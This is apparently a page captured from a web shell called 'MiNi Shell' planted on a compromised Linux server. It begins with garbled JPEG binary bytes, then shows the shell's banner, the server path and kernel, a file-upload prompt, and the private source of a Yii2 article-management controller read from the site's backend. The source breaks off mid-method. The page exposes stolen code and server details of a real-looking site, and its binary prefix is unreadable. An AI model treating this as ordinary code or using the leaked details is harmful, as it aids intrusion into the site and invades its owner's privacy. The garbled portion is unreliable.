JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/ArticlesController_kopia_11_12_2024.php

<?php

namespace backend\controllers;

use Yii;
use backend\models\Articles;
use common\models\Companies;
use common\models\ArticlesTags;
use common\models\ArticlesHasArticlesTags;
use common\models\ArticlesAttachments;
use common\models\ArticlesPhotos;
use common\models\ArticlesComments;
use common\models\ArticlesCategories;
use common\models\Users;
use common\models\ArticlesChangelogs;
use common\models\types\Status;
use common\models\types\AcceptanceStatus;
use common\models\types\ContactDataType;
use common\models\GoogleTranslations;
use backend\models\ArticlesSearch;
use backend\models\FairsSearch;
use backend\models\SendArticleStatsForm;
use backend\models\ArticlesTranslations;
use common\models\Languages;
use backend\models\CompaniesSearch;
use backend\models\ArticlesForPortalsSearch;
use backend\models\ArticlesToTranslationSearch;
use backend\models\GoogleTranslationsSearch;
use backend\models\ArticlesCommentsSearch;
use backend\models\PhotoBankSearch;
use backend\models\CopyPhotosFromBankForArticleForm;
use backend\components\helpers\PresentationsHelper;
use common\models\PresentationsTabs;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;
use yii\caching\TagDependency;
use frontend\models\IndexArticles2 as IndexArticles;
use yii\filters\AccessControl;

/**
 * ArticlesController implements the CRUD actions for Articles model.
 */
class ArticlesController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    use \common\components\traits\DirectoriesFunctions;
    use \common\components\traits\ConvertImagesToWebpFunctions;

    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    [
                        'allow' => true, 
                        'actions' => [
                            'create', 'update', 'create-attachment', 'update-attachment', 
                            'delete-attachment', 'create-photo', 'update-photo', 'delete-photo', 'update-gallery', 'copy-photos-from-bank',
                            'fairs-list', 'categories-trees', 'autocomplete-tags', 'upload-photo', 'send-stats', 
                            'show-stats', 'companies-list', 'copy', 'update-comment', 'delete-comment', 'set-comment-as-verified',
                            'send-word-document', 
                            'publish-on-fb', 'delete-from-fb',
                            'upload-doc-file-for-import', 'import-from-doc-file', 'delete-import-from-doc-file', 'upload-additional-images-for-import-from-doc-file', 'modify-data-import-from-doc-file', 'preview-for-import-from-doc-file', 
                            'test-save-imported-article',
                            
                            
                            'test-extract'
                        ], 
                        'roles' => ['modifyArticles']
                    ],
                    ['allow' => true, 'actions' => ['delete'], 'roles' => ['deleteArticles']],
                    ['allow' => true, 'actions' => ['accept', 'report-to-correct'], 'roles' => ['modifyArticlesStatuses']],
                    ['allow' => true, 'actions' => ['index', 'index-for-company', 'view', 'get-as-word-document'], 'roles' => ['@']], //sprawdzane w akcjach
                    ['allow' => true, 'actions' => ['assign-to-portals'], 'roles' => ['assignArticlesToPortals']],
                    ['allow' => true, 'actions' => ['translate'], 'roles' => ['translateArticles']], 
                    ['allow' => true, 'actions' => ['apply-for-translation'], 'roles' => ['applyArticlesForTranslation']],
                    ['allow' => true, 'actions' => ['index-waiting-for-translations'], 'roles' => ['indexArticlesWaitingForTranslation']],
                    ['allow' => true, 'actions' => ['index-unverified-comments'], 'roles' => ['indexArticles']],
                    ['allow' => true, 'actions' => ['seo-portals'], 'roles' => ['viewArticlesSEOPortalsSettings']],
                ]
            ]
        ];
    }
    
    /**
     * Lists all Articles models.
     * @return mixed
     */
    public function actionIndex()
    {
        $queryParams = Yii::$app->request->queryParams;
        
        $searchModel = new ArticlesSearch();
        if(Yii::$app->user->can('indexArticles')) { 
            $dataProvider = $searchModel->search($queryParams);            
        } elseif(Yii::$app->user->can('indexOwnArticles')) {
            $dataProvider = $searchModel->search($queryParams, true);
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(!empty($queryParams['ArticlesSearch'])) {
            $articlesSearchParams = $queryParams['ArticlesSearch'];
            if(!empty($articlesSearchParams['withTranslations']) && intval($articlesSearchParams['withTranslations']) === 1) {
                Yii::$app->params['activeMenuItem'] = 'articles-translated';
            } elseif(!empty($articlesSearchParams['acceptance_status']) && $articlesSearchParams['acceptance_status'] === AcceptanceStatus::NOT_ACCEPTED) {
                Yii::$app->params['activeMenuItem'] = 'articles-not-accepted';
            } elseif(!empty($articlesSearchParams['acceptance_status']) && $articlesSearchParams['acceptance_status'] === AcceptanceStatus::TO_CORRECT) {
                Yii::$app->params['activeMenuItem'] = 'articles-to-correct';
            } else { 
                Yii::$app->params['activeMenuItem'] = 'articles';
            }
        } else {
            Yii::$app->params['activeMenuItem'] = 'articles';
        }
        
        $modelUploadArticleDocFileForm = new \backend\models\UploadArticleDocFileForm();
        
        $importedArticlesFromDocFiles = [];
        if(file_exists(Yii::getAlias('@backend/web/temp/articles_import/'))) {
            $directoryIterator = new \DirectoryIterator(Yii::getAlias('@backend/web/temp/articles_import/'));
            foreach($directoryIterator as $item) {
                if($item->isDir() && !$item->isDot()) {
                    $importedArticlesFromDocFiles[$item->getBasename()] = $item->getBasename().' ('.date('Y-m-d, H:i:s', $item->getMTime()).')';
                }
            }
        }

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelUploadArticleDocFileForm' => $modelUploadArticleDocFileForm,
            'importedArticlesFromDocFiles' => $importedArticlesFromDocFiles
        ]);
    }
    
    /**
     * Lists all Articles models for select company.
     * @return mixed
     */
    public function actionIndexForCompany($id)
    {        
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->user->can('indexArticles') && !Yii::$app->user->can('indexOwnArticles')) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            
        } 
        
        $searchModel = new ArticlesSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['ArticlesSearch']['id_company'] = $modelCompany->id_company;
        $dataProvider = $searchModel->search($queryParams); 
        
        return $this->render('index_for_company', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelCompany' => $modelCompany
        ]);
    }

    /**
     * Displays a single Articles model.
     * @param integer $id
     * @return mixed
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
        if(!Yii::$app->user->can('viewArticles', ['model' => $model])) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));       
        }
        
        return $this->render('view', [
            'model' => $model,
        ]);
    }
    
//    protected function prepareDataForSearchEngine($model)
//    {
//        $tags = '';
//        if(!empty($model->listTags)) {
//            foreach($model->listTags as $tag) {
//                $tags .= $tag.', ';
//            }
//            $tags = rtrim($tags, ", ");
//        }
//
//        $content = strip_tags($model->content);
//        $content = str_replace(array("\r", "\n"), ' ', $content);
//        $content = preg_replace('!\s+!', ' ', $content);
//
//        $article = [
//            'id' => $model->id_article,
//            'title' => strip_tags($model->title),
//            'lead' => strip_tags($model->lead),
//            'content' => $content,
//            'image_filename' => $model->image_filename,
//            'publication_datetime' => $model->publication_datetime,
//            'promoted_start' => !empty($model->promoted_start_date) ? strtotime($model->promoted_start_date) : 0,
//            'promoted_end' => !empty($model->promoted_end_date) ? strtotime($model->promoted_end_date) : 0,
//            'sponsored_start' => !empty($model->sponsored_start_date) ? strtotime($model->sponsored_start_date) : 0,
//            'sponsored_end' => !empty($model->sponsored_end_date) ? strtotime($model->sponsored_end_date) : 0,
//            'tags' => $tags,
//            'portals' => $model->listPortals
//        ];
//        
//        return $article;
//    }

    /**
     * Creates a new Articles model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate()
    {
        $model = new Articles(['scenario' => 'create']);
        $model->or_source_in_footer = 1;
        $model->or_advertisement = 1;
        
        $model->listTags = $model->listPortals = $model->listEmails = $model->listCategories = [];

        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_company', 'agency_id_company', 'agency_id_operator', 'sponsored_start_date', 'sponsored_end_date', 'promoted_start_date', 'promoted_end_date', 'recommended_start_date', 'recommended_end_date', 'hot_news_start_date', 'hot_news_end_date', 'publication_datetime', 'listTags', 'listPortals', 'listEmails', 'listCategories', 'listFairs']);
        }
        
        if(Yii::$app->request->getIsPost()) {            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', ['model' => $model]);
            }
            
            if(!Yii::$app->user->can('modifyArticlesStatuses')) { 
                $model->status = Status::HIDDEN;    
                $model->acceptance_status = AcceptanceStatus::NOT_ACCEPTED;
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $nextIdArticle = Yii::$app->db->createCommand("SELECT nextval(pg_get_serial_sequence('articles','id_article'))")->queryOne();
            if(!empty($nextIdArticle)) {
                $model->id_article = intval($nextIdArticle['nextval']);
            }
            else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd odczytu z bazy.'));
                return $this->render('create', ['model' => $model]);
            }
            
            $model->loadImageFile();
            
            $flag = $model->validate();           
            if(!$flag) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', ['model' => $model]);
            }
            
            $newImagePath = $model->saveImageFile();
            if($newImagePath === false) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->render('create', ['model' => $model]);
            }
                    
            $listPortals = $model->listPortals;
            
            $flag = $model->save(false);
            $flag = $flag && $model->saveTags(); 
            $flag = $flag && $model->savePortals();
            $flag = $flag && $model->saveCategories();
            $flag = $flag && $model->saveGoogleIndexingUrls($listPortals);
            $flag = $flag && $model->saveFairs();
            $flag = $flag && $model->repairWysiwygContents(['content']); 
            $flag = $flag && IndexArticles::refreshRecord($model->id_article);            
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $cacheTags = [];
                foreach($model->listPortals as $idPortal) {
                    $cacheTags[] = 'articles_base_data_portal_'.$idPortal;      
                    $cacheTags[] = 'extended_menu_articles_portal_'.$idPortal;
                }
                if(!empty($model->id_company)) {
                    $cacheTags[] = 'company_'.$model->id_company.'_articles';
                    
                    $idsPresentations = \common\models\CompaniesPresentations::find()
                            ->select('id_presentation')
                            ->where([
                                'id_company' => $model->id_company,
                                'id_portal' => $model->listPortals,
                                'status' => Status::ACTIVE
                            ])
                            ->column();
                    if(!empty($idsPresentations)) {
                        foreach($idsPresentations as $idPresentation) {
                            PresentationsHelper::refreshTabsActivityStatus($idPresentation, [PresentationsTabs::TAB_PUBLICATIONS]);
                        }
                    }
                }
                ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->getIdentity(), ArticlesChangelogs::ACTION_CREATE);
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                return $this->redirect(['update', 'id' => $model->id_article]);
            } else {
                $transaction->rollBack();
                $model->rollBackWysiwygContentsChanges();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                if(!empty($newImagePath)) {
                    @unlink($newImagePath);
                }
            }
        }
        
        return $this->render('create', [
            'model' => $model
        ]);
    }

    /**
     * Updates an existing Articles model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {
        $model = $this->findModel($id);
        $model->setScenario('update');
        $model->publication_datetime = Yii::$app->formatter->asDate($model->publication_datetime, 'php:Y-m-d H:i');
        
        $languagesList = \yii\helpers\ArrayHelper::map(Languages::find()->select(['id_language', 'name'])->where(['id_language' => ['en', 'de', 'fr']])->asArray()->all(), 'id_language', 'name');
        $modelsTranslations = $model->getTranslations()->indexBy('id_language')->all();
        foreach($languagesList as $idLanguage => $languageName) {
            if(isset($modelsTranslations[$idLanguage])) {
                $modelsTranslations[$idLanguage]->setScenario('update');
            } else {
                $modelsTranslations[$idLanguage] = new ArticlesTranslations(['scenario' => 'create']);
                $modelsTranslations[$idLanguage]->id_language = $idLanguage;
                $modelsTranslations[$idLanguage]->id_article = $model->id_article;
            }
        }
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post()) && \yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_company', 'agency_id_company', 'agency_id_operator', 'sponsored_start_date', 'sponsored_end_date', 'promoted_start_date', 'promoted_end_date', 'recommended_start_date', 'recommended_end_date', 'hot_news_start_date', 'hot_news_end_date', 'publication_datetime', 'listTags', 'listPortals', 'listEmails', 'listCategories', 'listFairs']), \yii\bootstrap\ActiveForm::validateMultiple($modelsTranslations, ['id_article', 'id_language']));            
        }

        $dataProviderAttachments = new \yii\data\ActiveDataProvider([
            'query' => $model->getAttachments()->orderBy('attachment_order'),
            'pagination' => false,
            'sort' => false
        ]);
        
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['ArticlesCommentsSearch']['id_article'] = $model->id_article;

        $searchModelComments = new ArticlesCommentsSearch();        
        $dataProviderComments = $searchModelComments->search($queryParams);
        
        $searchModelPhotoBank = new PhotoBankSearch();
//        if(!empty($model->tags)) {
//            $searchModelPhotoBank->query = implode(', ', array_map(function($tag) { return $tag->name; }, $model->tags));
//        }
        $searchModelPhotoBank->bank = PhotoBankSearch::BANK_PEXELS;
        
//        $searchModelPhotoBank->query = 'sukces';
//        $searchModelPhotoBank->bank = PhotoBankSearch::BANK_PIXABAY;
        
        $dataProviderPhotoBank = $searchModelPhotoBank->search($queryParams);
        $modelFormCopyPhotoFromBank = new CopyPhotosFromBankForArticleForm();
        
//        $dataProviderPhotos = new \yii\data\ActiveDataProvider([
//            'query' => $model->getPhotos()->orderBy('photo_order'),
//            'pagination' => false,
//            'sort' => false
//        ]);
        
        $outputParams = [
            'model' => $model,
            'modelsTranslations' => $modelsTranslations,
            'languagesList' => $languagesList,
            'dataProviderAttachments' => $dataProviderAttachments, 
            'dataProviderComments' => $dataProviderComments,
            'searchModelComments' => $searchModelComments,
            'dataProviderPhotoBank' => $dataProviderPhotoBank,
            'searchModelPhotoBank' => $searchModelPhotoBank,
            'modelFormCopyPhotoFromBank' => $modelFormCopyPhotoFromBank
//            'dataProviderPhotos' => $dataProviderPhotos
        ];
        
        if(Yii::$app->request->getIsPost()) { 
            $oldPortals = $model->listPortals;
            $oldIdCompany = $model->id_company;
            $oldStatus = $model->status;
            $oldAcceptedStatus = $model->acceptance_status;
            if(!$model->load(Yii::$app->request->post()) || !\yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('update', $outputParams);
            }
            
            $oldImagePath = $model->loadImageFile();
            
            $newPortals = $model->listPortals;
            $newIdCompany = $model->id_company;
            
            if(!Yii::$app->user->can('modifyArticlesStatuses')) { 
                $model->status = $oldStatus;    
                $model->acceptance_status = $oldAcceptedStatus;
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('update', $outputParams);
            }
            
            if(!\yii\base\Model::validateMultiple($modelsTranslations)) {                    
                $errorsFromModelsTranslations = [];
                if(!empty($modelsTranslations)) {
                    foreach($modelsTranslations as $modelTranslation) {
                        if($modelTranslation->hasErrors()) {
                            foreach($modelTranslation->getErrors() as $error) {
                                $errorsFromModelsTranslations[] = $error;
                            }
                        }
                    }
                }
                
                Yii::$app->session->addFlash('error', $errorsFromModelsTranslations);
                return $this->render('update', $outputParams);
            }
                        
            $newImagePath = $model->saveImageFile();
            if($newImagePath === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->render('update', $outputParams);
            }
                        
            $transaction = Yii::$app->db->beginTransaction();
            
            $listPortals = $model->listPortals;
            
            $flag = $model->save(false);
            $flag = $flag && $model->saveTags(); 
            $flag = $flag && $model->savePortals();
            $flag = $flag && $model->saveCategories();
//            $flag = $flag && $model->saveGoogleIndexingUrls($listPortals, ($oldStatus !== \common\models\types\Status::ACTIVE && $model->status === \common\models\types\Status::ACTIVE) ? [] : $oldPortals);
            $flag = $flag && $model->saveFairs();
            if($flag && !empty($modelsTranslations)) {                
                foreach($modelsTranslations as $idLanguage => $modelTranslation) {
                    if($modelTranslation->isEmpty()) {
                        if($modelTranslation->isNewRecord) {
                            continue;
                        } elseif($modelTranslation->delete() === false) {
                            $flag = false;
                            break;
                        }
                    } elseif(!$modelTranslation->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
            $flag = $flag && IndexArticles::refreshRecord($model->id_article);
            
            if($flag && $model->acceptance_status === AcceptanceStatus::ACCEPTED && $oldAcceptedStatus !== AcceptanceStatus::ACCEPTED) {
                $flag = $this->sendMailAboutAcceptance($model);
            }
            
            if ($flag) {
                if(!empty($oldImagePath)) {
                    @unlink($oldImagePath);
                }                
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));                 
                $cacheTags = ['article_'.$model->id_article];
                $modifiedPortals = array_unique(array_merge($oldPortals, $newPortals));
                foreach($modifiedPortals as $idPortal) {
                    $cacheTags[] = 'articles_base_data_portal_'.$idPortal;     
                    $cacheTags[] = 'extended_menu_articles_portal_'.$idPortal;
                }
                $idsCompanies = [];
                if(!empty($oldIdCompany)) {
                    $cacheTags[] = 'company_'.$oldIdCompany.'_articles';
                    $idsCompanies[] = $oldIdCompany;
                }
                if(!empty($newIdCompany) && $newIdCompany !== $oldIdCompany) {
                    $cacheTags[] = 'company_'.$newIdCompany.'_articles';
                    $idsCompanies[] = $newIdCompany;
                }
                
                if(!empty($idsCompanies)) {
                    $idsPresentations = \common\models\CompaniesPresentations::find()
                            ->select('id_presentation')
                            ->where([
                                'id_company' => $idsCompanies,
                                'id_portal' => $modifiedPortals,
                                'status' => Status::ACTIVE
                            ])
                            ->column();
                    if(!empty($idsPresentations)) {
                        foreach($idsPresentations as $idPresentation) {
                            PresentationsHelper::refreshTabsActivityStatus($idPresentation, [PresentationsTabs::TAB_PUBLICATIONS]);
                        }
                    }
                }
                
                ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                return $this->redirect(['update', 'id' => $model->id_article]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
                if(!empty($newImagePath)) {
                    @unlink($newImagePath);
                }
            }
        }
        
        return $this->render('update', $outputParams);
    }

    /**
     * Deletes an existing Articles model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {        
        $model = $this->findModel($id);
        
        $transaction = Yii::$app->db->beginTransaction();
        //TO ZOSTAŁO PRZENIESIONE DO Articles::beforeDelete(); 
//        $modelsArticlesTags = $model->tags;
//        $flag = true;
//        if(!empty($modelsArticlesTags)) {
//            foreach($modelsArticlesTags as $modelArticlesTag) {
//                $modelArticlesTag->quantity -= 1;
//                if($modelArticlesTag->quantity > 0) {                
//                    $flag = $modelArticlesTag->save(false);
//                } else {
//                    $flag = $modelArticlesTag->delete();
//                }
//                
//                if($flag === false) {
//                    break;
//                }
//            }
//        }
        
        $idsPresentations = \common\models\CompaniesPresentations::find()
                ->select('id_presentation')
                ->where([
                    'id_company' => $model->id_company,
                    'id_portal' => $model->listPortals,
                    'status' => Status::ACTIVE
                ])
                ->column();    
        
        $flag = $model->delete();
        if($flag !== false) {
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
            $cacheTags = [];
            foreach($model->listPortals as $idPortal) {
                $cacheTags[] = 'articles_base_data_portal_'.$idPortal;   
                $cacheTags[] = 'extended_menu_articles_portal_'.$idPortal;
            }
            if(!empty($model->id_company)) {
                $cacheTags[] = 'company_'.$model->id_company.'_articles';
            }
            TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
            if(!empty($idsPresentations)) {
                foreach($idsPresentations as $idPresentation) {
                    PresentationsHelper::refreshTabsActivityStatus($idPresentation, [PresentationsTabs::TAB_PUBLICATIONS]);
                }
            }
        }
        else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }
        
        return $this->redirect((Yii::$app->request->getReferrer() && strpos(Yii::$app->request->getReferrer(), '/articles/view/') === false) ? Yii::$app->request->getReferrer() : ['articles/index']);
    }
    
    /**
     * Creates a new Article model based on given.
     * If copy is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionCopy($id) 
    {
        $modelBase = $this->findModel($id);
        
        $model = new Articles(['scenario' => 'create']);
        $model->attributes = $modelBase->attributes;
        $model->title .= ' - kopia z #'.$modelBase->id_article;    
        $model->status = Status::INACTIVE;
        
        $transaction = Yii::$app->db->beginTransaction();
        
        if(!$model->save(false)) {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            return $this->redirect(['view', 'id' => $modelBase->id_article]);
        } 
        
        $model->content = str_replace(
                Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelBase->id_article.'/', 
                Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$model->id_article.'/', 
                $modelBase->content
        );
        if(!$model->save(false)) {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            return $this->redirect(['view', 'id' => $modelBase->id_article]);
        } 
        
        if(!empty($modelBase->attachments)) {
            foreach($modelBase->attachments as $modelBaseAttachment) {
                $modelAttachment = new ArticlesAttachments(['scenario' => 'create']);
                $modelAttachment->attributes = $modelBaseAttachment->attributes;
                $modelAttachment->id_article = $model->id_article;
                if(!$modelAttachment->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                    return $this->redirect(['view', 'id' => $modelBase->id_article]);
                } 
            }
        }
        
        if(!empty($modelBase->photos)) {
            foreach($modelBase->photos as $modelBasePhoto) {
                $modelPhoto = new ArticlesPhotos(['scenario' => 'create']);
                $modelPhoto->attributes = $modelBasePhoto->attributes;
                $modelPhoto->id_article = $model->id_article;
                if(!$modelPhoto->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                    return $this->redirect(['view', 'id' => $modelBase->id_article]);
                } 
            }
        }
        
        $idsCategories = $modelBase->getRelationsWithCategories()->select(['id_category'])->column();
        if(!empty($idsCategories)) {
            foreach($idsCategories as $idCategory) {
                $modelRelationWithCategory = new \common\models\ArticlesHasArticlesCategories();
                $modelRelationWithCategory->id_category = $idCategory;
                $modelRelationWithCategory->id_article = $model->id_article;
                if(!$modelRelationWithCategory->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                    return $this->redirect(['view', 'id' => $modelBase->id_article]);
                } 
            }
        }
        
        $idsPortals = $modelBase->getRelationsWithPortals()->select(['id_portal'])->column();
        if(!empty($idsPortals)) {
            foreach($idsPortals as $idPortal) {
                $modelRelationWithPortal = new \common\models\ArticlesHasPortals();
                $modelRelationWithPortal->id_portal = $idPortal;
                $modelRelationWithPortal->id_article = $model->id_article;
                if(!$modelRelationWithPortal->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                    return $this->redirect(['view', 'id' => $modelBase->id_article]);
                } 
            }
        }
        
        if(!empty($modelBase->tags)) {
